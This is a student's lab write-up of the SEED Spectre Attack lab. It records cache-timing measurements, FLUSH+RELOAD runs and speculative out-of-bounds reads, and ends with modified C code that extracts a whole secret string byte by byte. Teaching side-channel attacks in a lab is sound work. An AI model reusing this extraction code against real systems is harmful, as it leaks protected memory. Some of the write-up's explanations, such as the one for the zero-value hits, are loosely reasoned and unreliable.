Omar Ahmed

Spectre Attack

Tasks:[https://seedsecuritylabs.org/Labs_20.04/Files/Spectre_Attack/Spectre_Attack.pdf]

Task 1:

```
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6370 CPU cycles
Access time for array[1*4096]: 600 CPU cycles
Access time for array[2*4096]: 546 CPU cycles
Access time for array[3*4096]: 204 CPU cycles
Access time for array[4*4096]: 584 CPU cycles
Access time for array[5*4096]: 542 CPU cycles
Access time for array[6*4096]: 562 CPU cycles
Access time for array[7*4096]: 174 CPU cycles
Access time for array[8*4096]: 546 CPU cycles
Access time for array[9*4096]: 570 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6300 CPU cycles
Access time for array[1*4096]: 476 CPU cycles
Access time for array[2*4096]: 1212 CPU cycles
Access time for array[3*4096]: 90 CPU cycles
Access time for array[4*4096]: 488 CPU cycles
Access time for array[5*4096]: 492 CPU cycles
Access time for array[6*4096]: 490 CPU cycles
Access time for array[7*4096]: 86 CPU cycles
Access time for array[8*4096]: 486 CPU cycles
Access time for array[9*4096]: 502 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6664 CPU cycles
Access time for array[1*4096]: 686 CPU cycles
Access time for array[2*4096]: 1516 CPU cycles
Access time for array[3*4096]: 252 CPU cycles
Access time for array[4*4096]: 688 CPU cycles
Access time for array[5*4096]: 666 CPU cycles
Access time for array[6*4096]: 624 CPU cycles
Access time for array[7*4096]: 266 CPU cycles
Access time for array[8*4096]: 668 CPU cycles
Access time for array[9*4096]: 678 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 5436 CPU cycles
Access time for array[1*4096]: 544 CPU cycles
Access time for array[2*4096]: 556 CPU cycles
Access time for array[3*4096]: 76 CPU cycles
Access time for array[4*4096]: 478 CPU cycles
Access time for array[5*4096]: 536 CPU cycles
Access time for array[6*4096]: 468 CPU cycles
Access time for array[7*4096]: 82 CPU cycles
Access time for array[8*4096]: 470 CPU cycles
Access time for array[9*4096]: 528 CPU cycles
```

Running CacheTime.c Observations:

```
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6370 CPU cycles
Access time for array[1*4096]: 600 CPU cycles
Access time for array[2*4096]: 546 CPU cycles
Access time for array[3*4096]: 204 CPU cycles
Access time for array[4*4096]: 584 CPU cycles
Access time for array[5*4096]: 542 CPU cycles
Access time for array[6*4096]: 562 CPU cycles
Access time for array[7*4096]: 174 CPU cycles
Access time for array[8*4096]: 546 CPU cycles
Access time for array[9*4096]: 570 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6300 CPU cycles
Access time for array[1*4096]: 476 CPU cycles
Access time for array[2*4096]: 1212 CPU cycles
Access time for array[3*4096]: 90 CPU cycles
Access time for array[4*4096]: 488 CPU cycles
Access time for array[5*4096]: 492 CPU cycles
Access time for array[6*4096]: 490 CPU cycles
Access time for array[7*4096]: 86 CPU cycles
Access time for array[8*4096]: 486 CPU cycles
Access time for array[9*4096]: 502 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 6664 CPU cycles
Access time for array[1*4096]: 686 CPU cycles
Access time for array[2*4096]: 1516 CPU cycles
Access time for array[3*4096]: 252 CPU cycles
Access time for array[4*4096]: 688 CPU cycles
Access time for array[5*4096]: 666 CPU cycles
Access time for array[6*4096]: 624 CPU cycles
Access time for array[7*4096]: 266 CPU cycles
Access time for array[8*4096]: 668 CPU cycles
Access time for array[9*4096]: 678 CPU cycles
[09/20/24]seed@VM:~/.../Labsetup$ ./CacheTime
Access time for array[0*4096]: 5436 CPU cycles
Access time for array[1*4096]: 544 CPU cycles
Access time for array[2*4096]: 556 CPU cycles
Access time for array[3*4096]: 76 CPU cycles
Access time for array[4*4096]: 478 CPU cycles
Access time for array[5*4096]: 536 CPU cycles
Access time for array[6*4096]: 468 CPU cycles
Access time for array[7*4096]: 82 CPU cycles
Access time for array[8*4096]: 470 CPU cycles
Access time for array[9*4096]: 528 CPU cycles
```

- The access time for array[3*4096] and array[7*4096] are always one of the lowest relative to the other access times.
    - They are usually in the 2-digit CPU cycles, but when the other access times are relatively high, they can get into the 3-digits, while still being relatively low in comparison. This can be seen in the first and second CacheTime above.
- It seems like a threshold of around 100 can be used to distinguish between access from the cache and main memory.
    - Although it does not seem very consistent

Task 2:

- After getting only 5 successes finding the secret with a threshold of 100, we switched the threshold many times. It seems like there is a balance between high hit rates and accuracy
    - Higher thresholds like 300 and 200 got higher hit rates, but it also got the secret wrong at times. (pictured below)

```
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[10*4096 + 1024] is in cache.
The Secret = 10.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[219*4096 + 1024] is in cache.
The Secret = 219.
array[251*4096 + 1024] is in cache.
The Secret = 251.
```

    - Lower thresholds like 100 would miss a lot
    - 150 threshold is right in the middle ground, with 10 successes and 10 misses:

```
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$
```

- 125 threshold got 13/20 (with no wrong secrets)

```
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
[09/20/24]seed@VM:~/.../Labsetup$ ./FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[09/20/24]seed@VM:~/.../Labsetup$
```

Task 3:

```
[09/21/24]seed@VM:~$ gcc -o spectre SpectreExperiment.c -march=native
[09/21/24]seed@VM:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  spectre  SpectreExperiment.c  Templates  Video
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
```

First Three Runs: No output about the secret being found
Fourth Run: Got the output array[97*4096 + 1024] is in cache. and The Secret = 97. The attack was successful; the secret value 97 was brought into the cache and detected due to the low timing threshold

Subsequent Runs (5th, 6th, 7th): Got the same result on the third try after running it twice. This could suggest that the caching behaviour of the CPU is somewhat stable across these runs.

Line 2 under normal circumstances isn't executed as 97 is not less than 10 but during speculative execution it does and that's the reason you're able to detect the value in the cache.

```
[09/21/24]seed@VM:~$ gcc -o spectre SpectreExperiment.c -march=native
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
array[97*4096 + 1024] is in cache.
The Secret = 97.
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
```

After commenting out _mm_clflush(&size); it seems like removing this cache flush affected how the CPU handles the speculative execution and caching behaviour. The results suggest that flushing the size variable from the cache is important for the success of the attack.

When you flush size from the cache, the CPU is forced to reload it which can result in secret leakage so without that flush the size variable remains in the cache reducing the likelihood of out-of-order speculative execution. I observed that there were indeed fewer successful cache hits for the secret value.

```
[09/21/24]seed@VM:~$ gcc -o spectre SpectreExperiment.c -march=native
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
[09/21/24]seed@VM:~$ ./spectre
```

victim(i) is used to access the array for values i. Since size is less than 10 values of i less than 10 will access the array during normal execution. When you use victim (i + 20) the index being passed to victim will be i + 20 so values of 20 - 29. Since size is 10 the code inside the if condition will not execute as it will not pass the condition x < size. So the frequency of detecting the secret has become a lot less predictable.

Task 4:

```
[09/21/24]seed@VM:~$ gcc -o spectre SpectreExperiment.c -march=native
[09/21/24]seed@VM:~$ ./spectre
secret: 0x564bda2e7008
buffer: 0x564bda2e9018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x55a4ba793008
buffer: 0x55a4ba795018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x5585b0229008
buffer: 0x5585b022b018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x561fa3282008
buffer: 0x561fa3284018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x55af1169f008
buffer: 0x55af116a1018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x556f9959b008
buffer: 0x556f9959d018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x55861d086008
buffer: 0x55861d088018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x5647bab63008
buffer: 0x5647bab65018
index of secret (out of bound): -8208
array[83*4096 + 1024] is in cache.
The Secret = 83.
[09/21/24]seed@VM:~$ ./spectre
secret: 0x56200eaab008
buffer: 0x56200eaad018
index of secret (out of bound): -8208
array[83*4096 + 1024] is in cache.
The Secret = 83.
[09/21/24]seed@VM:~$ ./spectre
secret: 0x55ccd1339008
buffer: 0x55ccd133b018
index of secret (out of bound): -8208
array[83*4096 + 1024] is in cache.
The Secret = 83.
[09/21/24]seed@VM:~$ ./spectre
secret: 0x560156023008
buffer: 0x560156025018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$ ./spectre
secret: 0x55c138f8f008
buffer: 0x55c138f91018
index of secret (out of bound): -8208
[09/21/24]seed@VM:~$
```

The program outputs the memory addresses of secret and buffer. The calculated index of the secret relative to the buffer is -8208 which is really far out of bounds. The speculative execution allows access to the strings first byte despite the out of bounds index (probably due to it bypassing the bounds check). This was able to successfully extract the first byte of the secret value which was 83.

Task 5:

The reason that the program often outputs 0 as the secret is because during speculative execution, the CPU caches to the memory in the default location 0. This results in frequent cache hits for 0, even if 0 is not the actual secret value. To avoid this, we can adjust the cache hit threshold to start at 1 instead of 0 as shown below:

```
void reloadSideChannelImproved()
{
int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 1; i < 256; i++) {  //start at index 1 instead of 0
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; /* if cache hit, add 1 for this value */
  }
}
```

Now the program returns the correct secret value:

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 101
```

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 62
```

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 95
```

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 51
```

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 79
```

```
Reading secret value at index -8208
The secret value is 83(S)
The number of hits is 85
```

When running the program with printf("*****\n"); it runs as intended. It succeeds in finding the secret value and displays the number of hits. However when removing this line from the code, the attack always fails.

```
[09/22/24]seed@VM:~/Share$ ./sai2
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[09/22/24]seed@VM:~/Share$ ./sai2
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[09/22/24]seed@VM:~/Share$ ./sai2
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[09/22/24]seed@VM:~/Share$ ./sai2
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[09/22/24]seed@VM:~/Share$ ./sai2
Reading secret value at index -8208
The secret value is 0()
The number of hits is 0
[09/22/24]seed@VM:~/Share$
```

This is because printf("*****\n"); introduces a slight delay to the program, similar to the usleep command. This delay gives the CPU more time to finish speculative execution while keeping the memory busy with a different task and flushing it afterwards. Unlike usleep, this prevents the cache from being polluted with incorrect values like in the previous question.

	1 µs	5 µs	10 µs	100 µs	1000 µs
	90	61	87	47	
	59	85	46	16	
	49	34	40	62	
	67	88	73	79	
	47	69	78	153	
	33	86	70	79	
	76	72	45	91	
	76	56	89	99	
	13	41	56	99	
	84	99	46	84	
	69	73	38	103	
	66	90	24	84	
	72	81	19	118	
	31	38	38	93	
AVG	59.42857143	69.5	53.5	86.21428571	67.160714

As shown in the table above, altering the program's sleep time and observing the amount of hits for each different time shows us that there is a pattern between the sleep time and the average amount of hits in a spectre attack.

100 microseconds showed the highest average of hits compared to other sleep times. This indicates that the system likely has enough time for speculative execution to complete and for memory access to settle, allowing for more accurate results.

When the sleep time is too short (between 1-10 microseconds), the attack performs worse. This is because the program runs too quickly, leading to lots of cache noise and missed hits.

When the sleep time is too long, the results become inconsistent. While some attacks performed better than with shorter sleep times, some also performed much worse. This may be because a longer sleep time allows for other unrelated processes to interfere with the cache, resulting in a reduction in the effectiveness of the attack

Going past 1000 microseconds, the attack started to fail. The more the sleep time increased, the more often the attack failed. This is because the long sleep time causes too much cache noise, making the attack ineffective. Therefore, finding the sweet spot for

sleep time in your implementation of a spectre attack is crucial. In this case, the ideal sleep time is around 100 microseconds.

Task 6:

In order to find the entire secret string, we only need to modify the main function (and #include <string.h>):

```
int main() {
  int i, max;
  uint8_t s;
  size_t index_beyond;

  // Calculate length of the secret string
  size_t secret_length = strlen(secret);

  // Buffer to store the extracted secret
  char extracted_secret[secret_length + 1];  // +1 for null terminator
  extracted_secret[secret_length] = '\0';  // Null-terminate the string

  // Iterate over each byte in the secret string
  for (size_t offset = 0; offset < secret_length; offset++) {
    // Calculate the index to target the current character of the secret
    index_beyond = (size_t)(secret + offset - (char*)buffer);
    flushSideChannel();

    // Initialize scores for each byte
    for (i = 0; i < 256; i++) scores[i] = 0;

    // Run the attack multiple times to get reliable results
    for (i = 0; i < 1000; i++) {
      printf("*****\n");  // This seemly "useless" line is necessary for the attack to succeed
      spectreAttack(index_beyond);
      usleep(10);
      reloadSideChannelImproved();
    }

    // Find the index with the highest score
    max = 0;
    for (i = 1; i < 256; i++) {
      if (scores[max] < scores[i]) max = i;
    }
```

```
    // Store the extracted character in the buffer
    extracted_secret[offset] = (char)max;

    // Print the extracted character
    printf("Secret byte at offset %ld: %c (ASCII: %d), hits: %d\n", offset, max, max,
scores[max]);
  }

  // Print the entire extracted secret string
  printf("Extracted secret string: %s\n", extracted_secret);

  return 0;
}
```

With this modified main function from the program in Task 5, we get the following output (excluding the *****):

```
Secret byte at offset 0: S (ASCII: 83), hits: 6
Secret byte at offset 1: o (ASCII: 111), hits: 6
Secret byte at offset 2: m (ASCII: 109), hits: 10
Secret byte at offset 3: e (ASCII: 101), hits: 5
Secret byte at offset 4:   (ASCII: 32), hits: 4
Secret byte at offset 5: S (ASCII: 83), hits: 4
Secret byte at offset 6: e (ASCII: 101), hits: 3
Secret byte at offset 7: c (ASCII: 99), hits: 3
Secret byte at offset 8: r (ASCII: 114), hits: 3
Secret byte at offset 9: e (ASCII: 101), hits: 1
Secret byte at offset 10: t (ASCII: 116), hits: 24
Secret byte at offset 11:   (ASCII: 32), hits: 1
Secret byte at offset 12: V (ASCII: 86), hits: 1
```

```
Secret byte at offset 13: a (ASCII: 97), hits:
Secret byte at offset 14: l (ASCII: 108), hits: 1
Secret byte at offset 15: u (ASCII: 117), hits: 
Secret byte at offset 16: e (ASCII: 101), hits: 2
Extracted secret string: Some Secret Value
```